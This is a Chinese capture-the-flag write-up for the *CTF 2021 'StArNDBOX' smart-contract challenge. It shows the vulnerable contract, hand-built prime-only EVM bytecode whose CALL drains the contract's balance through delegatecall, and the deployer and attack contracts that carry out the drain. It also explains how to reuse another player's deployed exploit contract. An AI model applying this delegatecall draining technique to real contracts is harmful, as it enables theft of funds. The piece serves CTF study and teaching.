*CTF 2021 StArNDBOX Writeup
一道有趣的智能合约题目
主要涉及:合约部署与转账的底层操作,字节码构造
分析题目源码
pragma solidity ^0.5.11;
library Math {
function invMod(int256 _x, int256 _pp) internal pure returns (int) {
int u3 = _x;
int v3 = _pp;
int u1 = 1;
int v1 = 0;
int q = 0;
while (v3 > 0){
q = u3/v3;
u1= v1;
v1 = u1 - v1*q;
u3 = v3;
v3 = u3 - v3*q;
}
while (u1<0){
u1 += _pp;
}
return u1;
}
function expMod(int base, int pow,int mod) internal pure returns (int res){
res = 1;
if(mod > 0){
base = base % mod;
for (; pow != 0; pow >>= 1) {
if (pow & 1 == 1) {
res = (base * res) % mod;
}
base = (base * base) % mod;
}
}
return res;
}
function pow_mod(int base, int pow, int mod) internal pure returns (int res) {
if (pow >= 0) {
return expMod(base,pow,mod);
}
else {
int inv = invMod(base,mod);
return expMod(inv,abs(pow),mod);
}
}
function isPrime(int n) internal pure returns (bool) {
if (n == 2 ||n == 3 || n == 5) {
return true;
} else if (n % 2 ==0 && n > 1 ){
return false;
} else {
int d = n - 1;
int s = 0;
while (d & 1 != 1 && d != 0) {
d >>= 1;
++s;
}
int a=2;
int xPre;
int j;
int x = pow_mod(a, d, n);
if (x == 1 || x == (n - 1)) {
return true;
} else {
for (j = 0; j < s; ++j) {
xPre = x;
x = pow_mod(x, 2, n);
if (x == n-1){
return true;
}else if(x == 1){
return false;
}
}
}
return false;
}
}
function gcd(int a, int b) internal pure returns (int) {
int t = 0;
if (a < b) {
t = a;
a = b;
b = t;
}
while (b != 0) {
t = b;
b = a % b;
a = t;
}
return a;
}
function abs(int num) internal pure returns (int) {
if (num >= 0) {
return num;
} else {
return (0 - num);
}
}
}
contract StArNDBOX{
using Math for int;
constructor()public payable{
}
modifier StAr() {
require(msg.sender != tx.origin);
_;
}
function StArNDBoX(address _addr) public payable{
uint256 size;
bytes memory code;
int res;
assembly{
size := extcodesize(_addr)
code := mload(0x40)
mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
mstore(code, size)
extcodecopy(_addr, add(code, 0x20), 0, size)
}
for(uint256 i = 0; i < code.length; i++) {
res = int(uint8(code[i]));
require(res.isPrime() == true);
}
bool success;
bytes memory _;
(success, _) = _addr.delegatecall("");
require(success);
}
}
题目要求:清空合约账户余额获得 flag
isPrime
检查只允许 0
和 1
以及质数通过
在调用 StArNDBoX
函数时,函数会对传入的地址 _addr
处的合约进行检测
如果 _addr
处的合约中所有 EVM
字节码都能通过 isPrime
检查,就会使用 delegatecall
对 _addr
处的合约代码进行调用
注意 delegatecall
是一个比较明显的高危函数
参考 https://ctf-wiki.org/blockchain/ethereum/attacks/delegatecall/
如果 A合约
使用 delegatecall
调用 B合约
,那么就相当于 A合约
以自己的身份来执行 B合约
的代码
假如 B合约
中包含恶意代码,例如转账或修改内存数据等敏感操作,这时 delegatecall
操作就会对 A合约
造成重大损失
构造攻击合约
参考可以通过 isPrime
检查的字节码 https://ctf-wiki.org/blockchain/ethereum/opcodes/
考虑使用 call(0xf1)
指令进行转账,清空合约账户余额,参考调用方法 https://ethervm.io/#F1
构造字节码
0x61000061000061000061000061006161000301610000619789f100
等价于以下指令
610000 PUSH2 0x0000
610000 PUSH2 0x0000
610000 PUSH2 0x0000
610000 PUSH2 0x0000
610061 PUSH2 0x0061
610003 PUSH2 0x0003
01 ADD
610000 PUSH2 0x0000
619789 PUSH2 0x9789
f1 CALL
等价于以下代码
def _fallback() payable: # default function
call 0x0 with:
value 100 wei
gas 38793 wei
通过执行 call
指令即可转走合约的余额 100 wei(0.0000000000000001 Eth)
注意这里的 value
指的是转账的交易量,由合约账户进行支付
而 gas
指的是为了在 EVM
上执行代码而需要支付的费用,由这条交易原始的发起者(外部账户)进行支付
部署攻击合约
部署字节码
通过指定 constructor
函数的返回值,即可完成任意字节码的部署
代码参考自
https://rinkeby.etherscan.io/address/0x9dbac984d326344a6eeefd996345b66181c5d4a3
https://ctf-wiki.org/blockchain/ethereum/attacks/create2/
https://medium.com/authio/solidity-ctf-part-4-read-the-fine-print-5ad259a5f5bb
pragma solidity ^0.5.11;
contract Deployer {
constructor() public {
bytes memory bytecode = hex'61000061000061000061000061006161000301610000619789f100';
assembly {
return (add(bytecode, 0x20), mload(bytecode))
}
}
}
构造函数解析
通过 Remix
自动生成的 constructor
代码如下
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
var var0 = msg.value;
if (var0) { revert(memory[0x00:0x00]); }
memory[0x00:0x3e] = code[0x1d:0x5b];
return memory[0x00:0x3e];
}
}
上一节编写的 constructor
代码如下
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
var var0 = msg.value;
if (var0) { revert(memory[0x00:0x00]); }
var temp0 = memory[0x40:0x60];
memory[0x40:0x60] = temp0 + 0x40;
memory[temp0:temp0 + 0x20] = 0x1b;
memory[temp0 + 0x20:temp0 + 0x20 + 0x20] = 0x61000061000061000061000061006161000301610000619789f1000000000000;
var0 = temp0;
return memory[var0 + 0x20:var0 + 0x20 + memory[var0:var0 + 0x20]];
}
}
可以看出两段代码实现的功能其实是一样的,都是通过 return
指令返回存储在 memory
中的 code
return (add(bytecode, 0x20), mload(bytecode))
其中 add(bytecode, 0x20)
给出 bytecode
内容的首地址 bytecode + 0x20
,mload(bytecode)
给出 bytecode
内容的大小 [bytecode:bytecode + 0x20]
具体可以参考 以太坊黄皮书 4.2 节中对 init
代码的描述
攻击目标合约
编写另一个智能合约来和目标合约进行交互,传入的地址参数填入上边部署字节码的地址,完成攻击
以下代码省略题目所给的 StArNDBOX
声明
pragma solidity ^0.5.12;
contract attack{
address code=0x5c2c9C5811542A48FCFd67d4E24d5209b3Ebd076;
address target=0x5e20541beFc798851d0020B29A58b8cd335FB705;
StArNDBOX s=StArNDBOX(target);
function exp()external{
s.StArNDBoX(code);
}
}
可以看到我们已经将合约账户仅有的余额 100 wei(0.0000000000000001 Eth)
都转到了 0x0000000000000000000000000000000000000000
这个地址
这时合约账户的余额已经变成了 0
,获得 flag
搭车教学
由于题目部署智能合约时分配的余额是 100 wei
,想要转走余额就会在链上产生一条交易量为 100 wei
的记录
所以可以考虑在 Etherscan
上查找交易记录,直接复制别人的操作来获得 flag
跟踪一下 0x0000000000000000000000000000000000000000
的 Contract Internal Transactions
,可以找到一条符合条件的记录
跟踪一下 0x8a9be8e6ef89a59ae65e77a296543225dc87249c9470fdc3fc281957b3c8ef42
这条交易记录
可以发现这条交易记录在转账操作之前,还有一个远程调用的操作
查看 0xb3879a53b3964494a149BcC1863dD262C35a64aE
这个合约账户,就可以找到别人部署的字节码了
这时就可以直接使用别人部署的 0xb3879a53b3964494a149BcC1863dD262C35a64aE
这个包含恶意字节码的合约来发起攻击,获得 flag
pragma solidity ^0.5.12;
contract attack{
address code=0xb3879a53b3964494a149BcC1863dD262C35a64aE;
address target=0x5e20541beFc798851d0020B29A58b8cd335FB705;
StArNDBOX s=StArNDBOX(target);
function exp()external{
s.StArNDBoX(code);
}
}
参考文章
https://hitcxy.com/2021/6-ctf2021/
http://zhaobairen.club/2021/01/21/🌟ctf-2021-区块链-starndbox/
https://zhuanlan.zhihu.com/p/347738659
https://we.buptmerak.cn/archives/274
https://github.com/sixstars/starctf2021/tree/main/blockchain-StArNDBOX
https://ctf-wiki.org/blockchain/ethereum/opcodes/
https://ctf-wiki.org/blockchain/ethereum/attacks/create2/
https://medium.com/authio/solidity-ctf-part-4-read-the-fine-print-5ad259a5f5bb